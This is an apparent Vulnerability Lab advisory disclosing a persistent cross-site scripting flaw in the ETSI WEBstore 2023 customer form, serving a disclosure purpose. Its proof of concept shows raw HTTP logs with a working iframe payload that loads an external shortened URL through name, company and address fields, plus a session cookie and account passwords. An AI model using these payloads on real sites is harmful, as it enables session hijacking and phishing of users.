Share
## https://sploitus.com/exploit?id=PACKETSTORM:173756
Document Title:  
===============  
ETSI WEBstore 2023 - Persistent Cross Site Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2327  
  
  
Release Date:  
=============  
2023-07-26  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2327  
  
  
Common Vulnerability Scoring System:  
====================================  
4.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Persistent  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a persistent web vulnerability in the ETSI WebStore web-application.  
  
  
Affected Product(s):  
====================  
European Telecommunications Standards Institute (ETSI)  
Product: WEBstore 2023 - User Management (Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2023-07-26: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted Authentication (User Privileges)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in the official ETSI Webstore 2023 web-application.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise  
browser to web-application requests from the application-side.  
  
The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp registration / modify formular.  
Remote attackers are able to inject own malicious script code with persistent attack vector by an inject in the  
wrong sanitized input fields. The injection point is the registration or modify formular of the webstore.  
The execution points are located in the index, listarticle, myprofiles and user backend listing of the webstore  
web-appliation service.  
  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent  
external redirects to malicious source and persistent manipulation of affected application modules.  
  
Request Methode:  
[+] POST  
  
Vulnerable Inputs:  
[+] first name  
[+] last name  
[+] company name  
[+] address  
  
Affected Modules:  
[+] MyProfile  
[+] ListArticle  
[+] ShowCustomer  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.  
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Register an account for the etsi webstore using the registration formular  
2. Inject script code payloads to the firstname, lastname, companyname and address input fields  
3. Save the account by submit via post method request  
4. Confirm the email and logon to the account  
Note: After the login the execution takes place in the header were the user data is show as well as in separated websites were adress data is displayed. On preview of the customer in the backend an execution of the malicious payload takes as well place.  
5. Successful reproduce of the persistent web vulnerability!  
  
  
--- PoC Session Logs (POST) [Inject & Execute] ---  
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp  
Host: webstore.etsi.org  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 906  
Origin:https://webstore.etsi.org  
Connection: keep-alive  
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp  
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag2&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit  
-  
POST: HTTP/2.0 302 Found  
cache-control: private  
content-type: text/html  
location: Listarticle.asp?list=2  
server: Microsoft-IIS/10.0  
x-frame-options: SAMEORIGIN  
content-length: 143  
-  
https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2  
Host: webstore.etsi.org  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp  
Connection: keep-alive  
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
-  
POST: HTTP/2.0 200 OK  
cache-control: private  
content-type: text/html  
content-encoding: gzip  
vary: Accept-Encoding  
server: Microsoft-IIS/10.0  
set-cookie: list=2; path=/ecommerce  
x-frame-options: SAMEORIGIN  
-  
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp  
Host: webstore.etsi.org  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 906  
Origin:https://webstore.etsi.org  
Connection: keep-alive  
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp  
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag3&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit  
-  
POST: HTTP/2.0 302 Found  
cache-control: private  
content-type: text/html  
location: Listarticle.asp?list=2  
server: Microsoft-IIS/10.0  
x-frame-options: SAMEORIGIN  
content-length: 143  
-  
https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2  
Host: webstore.etsi.org  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp  
Connection: keep-alive  
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
-  
POST: HTTP/2.0 200 OK  
cache-control: private  
content-type: text/html  
content-encoding: gzip  
vary: Accept-Encoding  
server: Microsoft-IIS/10.0  
set-cookie: list=2; path=/ecommerce  
x-frame-options: SAMEORIGIN  
  
  
  
Vulnerable Source: Profile Header  
<div id="bloclogin">  
<div id="identify">  
<b> B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>  
&nbsp;C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe></b><br>  
A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>  
</div>  
<input type="button" onclick="window.location.href = '/ecommerce/ChangeExistingCustomer.asp'" value="My profile" id="inputheaderleft">  
<input type="button" onclick="logout()" value="Logout" id="inputheaderright">  
</div>  
  
  
Vulnerable Source: MyProfile  
<tr>  
<td class="formlabel">  
<label for="Company">Company name</label>  
</td>  
<td class="forminputleft">  
<input tabindex="1" id="Company" class="inputform" name="Company" placeholder="Company name" value="A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"/>  
</td>  
<td class="formlabel">  
Client Code   
</td>  
<td>  
<input type="hidden" name="ClientCode" value="">  
<input type="hidden" name="ClientCodeCSA3" value="">  
<input type="hidden" name="ClientCodeCSA3" value="">   
</td>  
</tr>  
<tr>  
<td colspan="2">   
</td>   
<td class="formlabel">  
<label for="Fname">First name <font color="red">*</font></label>  
</td>  
<td class="forminputright">  
<input id="Fname" tabindex="3" class="inputform" name="Fname" placeholder="First name" value="B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>">  
</td>  
</tr>  
<tr>  
<td class="formlabellong">  
...   
</td>  
<td class="formlabel">  
<label for="Lname">Last name <font color="red">*</font></label>  
</td>  
<td>  
<input id="Lname" tabindex="6" class="inputform" placeholder="Last name" name="Lname" value="C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>">  
</td>  
</tr>  
  
  
References:  
https://webstore.etsi.org/ecommerce/  
https://webstore.etsi.org/ecommerce/Listarticle.asp  
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp  
https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp  
  
  
Security Risk:  
==============  
The security risk of the persistent vulnerability in the webstore web-application of etsi is estimated as medium.  
  
  
Credits & Authors:  
==================  
L. Guenther -https://www.vulnerability-lab.com/show.php?user=L.+Guenther  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,  
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab  
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits  
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do  
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.  
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.  
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other  
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other  
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or  
edit our material contact (admin@ or research@) to get a ask permission.  
  
Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY (VULNERABILITY LAB)  
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE